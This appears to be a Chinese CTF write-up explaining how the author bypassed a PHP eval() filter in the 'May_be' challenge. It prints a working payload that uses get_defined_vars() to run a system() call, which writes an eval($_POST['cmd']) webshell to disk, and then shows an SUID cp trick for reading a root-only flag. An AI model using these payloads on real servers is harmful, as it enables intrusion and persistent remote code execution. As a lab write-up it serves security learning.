May_be一道代码执行绕过

题目:May_be

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $a)) {
if (!preg_match("/sess|ion|head|ers|file|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i",$a)){
eval($a);
}else{
die("May be you should bypass.");
}
}else{
die("nonono");
}
?>

这个正则表达式匹配的是一个函数调用,其中:

  • [^\W]+ 表示匹配一个或多个非特殊字符(即字母、数字和下划线)。
  • \( 表示匹配一个左括号。
  • (?R)? 表示匹配一个正则表达式自身(即递归地匹配整个表达式),可以有0个或1个,这个表达式实现了匹配嵌套函数的功能。
  • \) 表示匹配一个右括号。

因此,这个正则表达式可以匹配类似于 function_name(arg1, arg2) 这样的函数调用表达式,其中 function_name 是一个或多个非特殊字符组成的函数名,arg1arg2 是传递给函数的参数。该正则表达式可以匹配包含嵌套函数调用的表达式,例如 function1(function2(arg1), arg2)

意思就是只允许payload中出现字母,数字,下划线和(``)

最早尝试a=$_POST[]

但是想起来$也过滤,[]也过滤``

最后的payload是

1
/?exp=system('echo "<?php\n @eval(\$_POST["cmd"]);" > ma.php');&a=eval(pos(pos(get_defined_vars())));

将命令写在不被过滤的参数exp中,然后用get_defined_vars()获取已经定义的变量

image-20230429001621633

格式化一下大概是这样

image-20230429002216880

我们要取参数exp的值

先用current取到在数组当前值,也就是[_GET]的内容,也是一个数组

image-20230429002506551

然后要取这个数组里的第一个值用pos方法

如果参数写后面的就用end方法

比如这样

image-20230429002721545

现在可以执行任意命令了,

直接列出所有目录然后CTRL+F找flag

image-20230429003221618

直接cat 读不到文件,权限不够

flag文件属性0700

发现cp有su权限

1
cp /.ffffffIIIIIII44444444444gggg /dev/stdout

Get flag!

第二天起来发现环境开不了了,所以这部分没图😓


May_be一道代码执行绕过
http://example.com/2023/04/29/maybe/
作者
To1y5
发布于
2023年4月29日
许可协议